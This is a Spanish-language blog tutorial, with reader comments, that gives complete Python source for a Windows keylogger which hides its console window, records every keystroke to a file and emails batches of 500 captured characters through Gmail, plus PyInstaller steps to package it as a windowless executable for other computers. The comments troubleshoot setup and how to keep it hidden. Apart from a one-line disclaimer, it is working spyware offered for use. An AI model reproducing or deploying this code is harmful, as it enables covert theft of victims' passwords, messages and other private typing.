Google+ Seguidores

domingo, 14 de mayo de 2017

Como crear un Keylogger remoto con Python

Con esta entrada quiero explicar como crear un Keylogger remoto en Python. Este Keylogger guarda cada pulsación de tecla y lo almacena en un archivo de texto (output.txt). Después de 500 pulsaciones, el keylogger envía un correo a una dirección específica con los últimos 500 caracteres del archivo .txt. (puedes cambiar la cantidad de pulsaciones)

Puede que el equipo donde quieras probarlo no tenga Python, ni los módulos que el script utiliza, por eso crearemos un archivo ejecutable con PyInstaller y así podremos utilizarlo desde cualquier equipo.



El propósito de la entrada es con fin educativo, no me responsabilizo del uso que hagan con el. Depende completamente de ti!!!

Para que funcione, necesitamos tener instalado
  • pythoncom y pyHook: para capturar los eventos del teclado
  • PyWin32: conjunto de módulos que proporciona acceso a muchas funciones de la API de Windows
  • smtplib: módulo para enviar correo
  • pyinstaller: para crear un ejecutable del Keylogger.py

Explicando cada funcionalidad del Keylogger


Envío de correo: ya hace un tiempo cree una entrada sobre el envío de correo con Python. Puedes ver la entrada en el siguiente link: Enviar correo con python
Esta función es la encargada de enviar el correo electrónico. Cualquier error será atrapado en el try - except


Captura de teclado: esta función se encarga de ir capturando lo que se presiona en el teclado e ir guardándolo en el archivo output.txt. Si se presiona Control + E el programa finaliza. Cuando se presione la primera tecla, el keylogger enviará un correo con el texto "Arrancando..." dando a entender que el programa está en funcionamiento. Esta funcionalidad se repetirá constantemente 


Código completo Keylogger.py


#!/usr/bin/env python
# -*- coding: utf-8 -*-
    
import win32console
import win32gui
import pythoncom,pyHook
import time
import smtplib
import os
import sys
 
# www.pythondiario.com
########################################################
# CONFIGURAR VARIABLES
########################################################

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)

#crea el archivo .txt 
f=open("c:\output.txt","w+")
f.close

#Variable que cuenta las tecas presionadas
count = 0

########################################################
# FUNCIONES
########################################################

def send_email(message):

    try:
        
        # Datos
        fromaddr = 'tuCorreo@gmail.com'
        toaddrs = 'tuCorreo@gmail.com'
        username = 'tuCorreo@gmail.com'
        password = 'tuContraseña'

        # Enviando el correo
        server = smtplib.SMTP('smtp.gmail.com:587')
        server.starttls()
        server.login(username,password)
        server.sendmail(fromaddr, toaddrs, message)
        server.quit()

    except:

        pass


def OnKeyboardEvent(event):
    
    global count
    count += 1 
    #presiona CTRL+E para salir
    if event.Ascii==5:
        sys.exit(0)

    if event.Ascii !=0 or 8:
        #abre output.txt
        f=open('c:\output.txt','r+')
        buffer=f.read()
        f.close()        

        if len(buffer)==1:
            send_email("Arranco...")            

        elif  count == 500: 
            #Envia los ultimos 500 caracteres
            capturado = buffer[-500:].replace("\n","
")
            send_email(capturado)
            count = 0
          
        #abre output.txt escribe y suma nuevas pulsaciones
        f=open('c:\output.txt','w')
        keylogs=chr(event.Ascii)

        #si se presiona ENTER
        if event.Ascii==13:
            keylogs='\n'

        #si se preciona ESPACIO 
        if event.Ascii==32:
            keylogs=''

        buffer+=keylogs
        f.write(buffer)
        f.close()

        
# crea el objeto hook manager
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()
     

Crear el ejecutable con pyInstaler

Una vez que instales pyinstaler, en consola te posicionas en la carpeta donde se encuentra el archivo pyinstaler.exe y ejecutas el comando:
python pyinstaller.exe --onefile --windowed --ico=anyimage.ico keylogger.py

--onefile se utiliza para empaquetar todo en un ejecutable
--windowed evita que se abra una ventana (consola) cuando la aplicación se ejecuta

Acuérdate de pasar bien la ruta de la imagen .ico y del archivo keylogger.py. El archivo ejecutable por lo general queda guardado en la carpeta "dist" dentro de la carpeta principal de Python.


Ahora solo resta probar en tu equipo y luego probarlo en otro equipo para ver si realmente funciona. Para ver si se está ejecutando puedes abrir el administrador de tareas de Windows

Saludos, Diego

44 comentarios :
Write comentarios
  1. Hola buenas tardes Diego cada día estoy patidifusa por el material que publicas y hasta los domingos escribes.
    #AdictaAVuestroBlog =D
    Un beso su merced.

    ResponderEliminar
    Respuestas
    1. Gracias Vanessa, no me podía aguantar el post hasta el Lunes jeje.
      Saludos

      Eliminar
  2. Ya no mas falta envolver el dulce para que no se lo coman los niños :P...

    ResponderEliminar
  3. Excelente post! No se puede hacer mejor.
    Cambiaría mucho para hacerlo en linux?

    ResponderEliminar
    Respuestas
    1. Hola, muchas gracias por tu comentario. Creo que para linux lo que cambiaría sería uno de los módulos importados.

      pyxhook - Para Linux
      pyHook - Para Windows

      Tendrías que ver si las funciones dentro del módulo para Linux son iguales a las de Windows, para que este Keylogger te funcione correctamente.
      Saludos

      Eliminar
    2. Muchas gracias a ti por compartir tu sabiduría.
      Soy nuevo en el blog, pero me parece que voy a hacerme un incondicional xD.
      Una preguntilla más, ¿Como puedo hacer un ejecutable para linux?

      Eliminar
    3. Prueba hacer esto:

      desde la terminal pon este codigo:
      sudo chmod a+x nombre_de_archivo.py

      despues de esto, abre el codigo del programa y coloca el siguiente codigo en la primera linea de tu programa:
      #!/usr/bin/env python

      Luego ejecuta y prueba!!!

      Eliminar
  4. Amigo me sale lo siguiente
    Traceback (most recent call last):
    File "C:/secret/jh.py", line 4, in
    import win32console
    ImportError: DLL load failed: No se puede encontrar el módulo especificado.
    >>>

    ResponderEliminar
    Respuestas
    1. Hola, gracias por visitar el blog!!! Tienes instalado el modulo PyWin32? en el inicio del post indico de donde descargarlo. Saludos

      Eliminar
    2. Hola! Tengo el mismo problema, tengo instalado el """pywin32-221-cp27-cp27m-win32.whl""""

      Eliminar
    3. Si instalo mas de los módulos de la misma clase, tendría algún conflicto, estoy intentando solucionarlo, pero no encuentro problemas con el win32console dll en la comunidad x)

      Eliminar
    4. Hola como estas? Gracias por visitar el blog!!!
      Yo creo que tuve en un principio el mismo inconveniente con PyWin32.
      Fijate bien la versión (32/64 bit). Prueba instalar otra!!!
      En la pagina: https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/
      Fijate en las versiones más descargadas. Luego me cuentas…
      Saludos

      Eliminar
    5. También puedes instalar pip y probar:
      pip install pypiwin32

      Eliminar
    6. Este comentario ha sido eliminado por el autor.

      Eliminar
    7. Gracias Diego! muchas gracias! <3
      Es el mejor blog de python que encuentro en meses!
      Funciono, ahora tengo un problema con IOError: Permission denied. Ya veo como me las apaño, lo dificil era lo otro gracias! :D

      Eliminar
    8. Excelente!!! Utilizo Python 2.7
      Cualquier cosa envias el error y lo vemos!!!
      Gracias por el comentario ;)

      Eliminar
    9. Lo intentare de arreglar cuando despierte, si no duermo me puedo enfermar, gracias :D!

      Eliminar
  5. buenas buenas, quiero hacer uno pero no me sale sera que te puedes comunicar conmigo por correo, muachas gracias rafagomezbastardo@hotmail.com... es que tengo problema con en pyhook

    ResponderEliminar
    Respuestas
    1. Hola Ruth, gracias por visitar el blog!!! Cual es el error que estas teniendo, así también nos sirve como retro alimentación!!!
      Saludos

      Eliminar
  6. File "C:\Users\Hargus\Desktop\pklv2.pyw", line 15, in
    f=open("c:\output.txt","w+")
    IOError: [Errno 13] Permission denied: 'c:\\output.txt'

    Estaba leyendo y el archivo necesita permisos de administrador ya que no siempre podría ejecutándose en terminales que tengan el usuario administrador iniciado, lo cual hace que el archivo ya no sea """"invisible"""" entre muchas comillas por que es claramente visible al ejecutarse el administrador de tareas. Estaba pensando en adjuntar un archivo batch para crear el .txt, puesto este no requiere de permisos especiales(Creo), ¿existe una mejor manera?

    ResponderEliminar
    Respuestas
    1. Error mio, los archivos bat para carpetas de sistema o unidades de sistema necesitan permisos de administrador, se podrían ejecutar pero no hacer nada.

      Eliminar
  7. Bueno mi ultima pregunta es, como podria detectar los caracteres especiales? Intente hacer esto pero evidentemente no funciona x)
    if event.Ascii==64:
    keylogs='@'

    ResponderEliminar
  8. Hola... Como hago para que se detenga el programa... ya no quiero que me lleguen mensajes a mi correo.

    ResponderEliminar
    Respuestas
    1. HOla... inicial el administrador de tareas (control + alt + sup) y finaliza el proceso (el nombre que le pusiste al Keylogger)
      Saludos

      Eliminar
  9. Tengo windows 7 y no necesariamente encontre el archivo del script que ejecute sino uno con el nombre de pythonw o mejor dicho finalice todos los procesos que tenian que ver con python. Igual gracias por responder. Saludos.

    ResponderEliminar
  10. holo tengo un problema.
    cuando ejecuto el keylogger y llega la hora de enviarme los 500 caracteres me llega un correo pero vacio, y reviso el archivo de texto y encuentro esto:



    \\ \ \ \ F F H W

    ResponderEliminar
    Respuestas
    1. Que raro!!!
      Tienes todo el Keylogger igual al del ejemplo?
      Saludos

      Eliminar
  11. Que tal amigo, buen post y todo pero lo hice de dos maneras, en diferentes versiones de Python estuvo mejor la 2.7 aunque me salio "No such file or directory: 'anyimage.ico'

    ResponderEliminar
    Respuestas
    1. Hola, pero al final pudiste?
      Saludos y gracias por visitar el blog!!!

      Eliminar
  12. Hola, sabes intento instalar pypwin32 por medio de pip y me lanza este error? que deberia hacer.


    Could not find a version that satisfies the requirement pypwin32 (from versions: )
    No matching distribution found for pypwin32

    ResponderEliminar
    Respuestas
    1. Hola Marco, al principio de la entrada comparto un link para instalar pypwin32. Espero te sirva!!!
      Gracias por visitar el blog

      Eliminar
  13. Hola Diego, tengo una duda, ya lo hice y lo ejecute(f5) normal y todo funciona excelente pero tengo un problema. Cuando ya lo paso con el pyinstaller, osea cuando ya tengo el keylogger.exe lo corro pero al correo solo me indica que "Arrancó..." pero no me llega lo demás, no llega lo que capturó por teclado.

    Si me pudieras ayudar te lo agradecería.

    ResponderEliminar
    Respuestas
    1. Hola CLAY, esta parte la tienes igual (elif count == 500:) y todo lo que sigue debajo? porque es aqui donde manda el mail despues de los 500 caracteres.

      Saludos y gracias por visitar el blog

      Eliminar
  14. hola que pasa si ya descargue los modulos y me aparece """Traceback (most recent call last):
    File "", line 3, in
    import win32console
    ImportError: No module named win32console"""

    ResponderEliminar
    Respuestas
    1. ya solucione el problema! solo habia que descargar en este enlace "https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/"la version pywin32-221.win32-py2.7.exe

      Eliminar
  15. tengo una pregunta...en que lugar seguro puedo instalar pyInstaler???

    ResponderEliminar
  16. Amigo yo estaba apunto de instalar el PyHook. Cuando lo intento instalar me dice que necesito la versión de python 2.7 y lo más raro es que cuando lfui a la consola a instalar python (porque pense que no lo tenia) me di cuenta que tenia python 2.7 porque era el que linux usa por defecto y me dice que lo necesito ayuda!!

    ResponderEliminar
  17. que hacer Buffer en la funcion de OnKeyboardEvent??

    ResponderEliminar
  18. Amigo por favor me podrias ayudar como instalo esas expaciones pyhook y pywin "dependiendo de mi sistema operativo si soy 64bist descargo la de 64bist?
    saludos amigo

    ResponderEliminar
  19. que ago no me isntala el pyhook (C:\Users\ANTHONY\Desktop\python>pip install pyHook-1.5.1-cp27-cp27m-win32.whl
    Requirement already satisfied: pyHook==1.5.1 from file:///C:/Users/ANTHONY/Desktop/python/pyHook-1.5.1-cp27-cp27m-win32.whl in c:\python27\lib\site-packages


    ResponderEliminar
  20. me gustaria saber el por qué de después de unos minutos el programa deja de recoger los datos del teclado y sólo envía mensajes de correo electrónico repetidos sin cambios de nueva información insertada por el teclado

    ResponderEliminar
  21. Una pregunta amigo, cuando quiero ejecutar python pyinstaller.exe --onefile --windowed --ico=anyimage.ico keylogger.py etando en la respectiva carpeta, me sale: python: can't open file 'pyinstaller.exe': [Errno 2] No such file or directory

    ResponderEliminar

Tu comentario es importante y nos motiva a seguir escribiendo...

Entradas más recientes

Powered by Blogger .